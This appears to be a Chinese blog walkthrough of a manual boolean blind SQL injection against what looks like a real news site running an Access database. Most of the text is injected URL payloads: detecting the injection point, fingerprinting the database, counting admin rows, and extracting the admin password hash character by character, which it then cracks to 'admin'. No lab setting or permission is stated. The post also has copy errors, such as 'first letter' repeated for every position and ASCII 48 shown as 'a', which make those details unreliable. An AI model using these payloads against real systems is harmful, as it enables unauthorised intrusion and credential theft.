记一次报错手工注入(布尔型)

原理:

盲注:数据库的执行结果不会被前端显示,这时候就要利用一些函数什么的将结果体现出来

SQL注入:传入的数据经过拼接后可以被作为SQL语句被数据库执行

注入存在条件:存在数据交互,参数可控

准备知识

语句一:select count(*) from T;
作用:查询T表中数据的行数。此处用于判断数据库是否为access

过程

1.查找注入点

?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1

?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2

返回的信息不一样,说明存在注入点

图片

注意:这里有三个参数,都可以作为注入点

2.判断数据库类型

?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from msysobjects)>0

图片

msysobjects是access中的固有表,但是没权限访问。若报错,就说明是access数据库,否则就是另外的数据库

3.判断账号数

?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)<>0

图片

正常回显,说明admin表里存在数据,接下来看有几行数据

?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)>1

图片

返回和正常不同的信息,说明存在只存在一行数据

4.bool检测表中数据

?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)

在admin表中查询数据数目,如果adminuid(属性)存在则会返回正确页面,否则就会报错,以此来检测是否存在adminuid这条数据

图片

5.查询用户名和密码

sql中mid(),和top的用法

我们拥有下面这个 "Persons" 表:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing

现在,我们希望从 "City" 列中提取前 3 个字符。

我们使用如下 SQL 语句:

SELECT MID(City,1,3) as SmallCity FROM Persons

结果集类似这样:

SmallCity
Lon
New
Bei

如果再使用

SELECT TOP1 MID(City,1,3) as SmallCity FROM Persons

则只返回第一条数据

SmallCity
Lon

1.查用户名

and 1=(select count(*) from admin where len(adminuid)=5) 返回了正确页面

估计用户名就是admin

验证:

and 1=(select count(*) from admin where adminuid='admin')

返回正确页面,说明用户名就是admin

2.查询密码

一般密码的存储形式为md5,即16位,所以需要一个一个字符查询

and ((select top 1 asc(mid(adminpwd,1,1))from admin)>54) 返回正确页面

and ((select top 1 asc(mid(adminpwd,1,1))from admin)>55) 返回错误页面

说明第一个字母的asiic码为55,即7

and ((select top 1 asc(mid(adminpwd,2,1))from admin)>96) 返回正确页面

and ((select top 1 asc(mid(adminpwd,2,1))from admin)>97) 返回错误页面

说明第一个字母的asiic码为97,即a

and ((select top 1 asc(mid(adminpwd,3,1))from admin)>52) 返回正确页面

and ((select top 1 asc(mid(adminpwd,3,1))from admin)>53) 返回错误页面

说明第一个字母的asiic码为53,即5

and ((select top 1 asc(mid(adminpwd,4,1))from admin)>54) 返回正确页面

and ((select top 1 asc(mid(adminpwd,4,1))from admin)>55) 返回错误页面

说明第一个字母的asiic码为55,即7

and ((select top 1 asc(mid(adminpwd,5,1))from admin)>96) 返回正确页面

and ((select top 1 asc(mid(adminpwd,5,1))from admin)>97) 返回错误页面

说明第一个字母的asiic码为97,即a

and ((select top 1 asc(mid(adminpwd,6,1))from admin)>52) 返回正确页面

and ((select top 1 asc(mid(adminpwd,6,1))from admin)>53) 返回错误页面

说明第一个字母的asiic码为53,即5

and ((select top 1 asc(mid(adminpwd,7,1))from admin)>96) 返回正确页面

and ((select top 1 asc(mid(adminpwd,7,1))from admin)>97) 返回错误页面

说明第一个字母的asiic码为97,即a

and ((select top 1 asc(mid(adminpwd,8,1))from admin)>54) 返回正确页面

and ((select top 1 asc(mid(adminpwd,8,1))from admin)>55) 返回错误页面

说明第一个字母的asiic码为55,即7

and ((select top 1 asc(mid(adminpwd,9,1))from admin)>51) 返回正确页面

and ((select top 1 asc(mid(adminpwd,9,1))from admin)>52) 返回错误页面

说明第一个字母的asiic码为52,即4

and ((select top 1 asc(mid(adminpwd,10,1))from admin)>50) 返回正确页面

and ((select top 1 asc(mid(adminpwd,10,1))from admin)>51) 返回错误页面

说明第一个字母的asiic码为51,即3

and ((select top 1 asc(mid(adminpwd,11,1))from admin)>55) 返回正确页面

and ((select top 1 asc(mid(adminpwd,11,1))from admin)>56) 返回错误页面

说明第一个字母的asiic码为56,即8

and ((select top 1 asc(mid(adminpwd,12,1))from admin)>56) 返回正确页面

and ((select top 1 asc(mid(adminpwd,12,1))from admin)>57) 返回错误页面

说明第一个字母的asiic码为57,即9

and ((select top 1 asc(mid(adminpwd,13,1))from admin)>51) 返回正确页面

and ((select top 1 asc(mid(adminpwd,13,1))from admin)>52) 返回错误页面

说明第一个字母的asiic码为52,即4

and ((select top 1 asc(mid(adminpwd,14,1))from admin)>96) 返回正确页面

and ((select top 1 asc(mid(adminpwd,14,1))from admin)>97) 返回错误页面

说明第一个字母的asiic码为97,即a

and ((select top 1 asc(mid(adminpwd,15,1))from admin)>47) 返回正确页面

and ((select top 1 asc(mid(adminpwd,15,1))from admin)>48) 返回错误页面

说明第一个字母的asiic码为48,即a

and ((select top 1 asc(mid(adminpwd,16,1))from admin)>100) 返回正确页面

and ((select top 1 asc(mid(adminpwd,16,1))from admin)>101) 返回错误页面

说明第一个字母的asiic码为101,即e

((select top 1 asc(mid(adminpwd,17,1))from admin)>100) 直接报错,说明只有16个字符

即md5加密后的16位字符位7a57a5a743894a0e

解密后密码是admin

posted @ 2022-01-17 21:11  _Nov1ce  阅读(100)  评论(0编辑  收藏  举报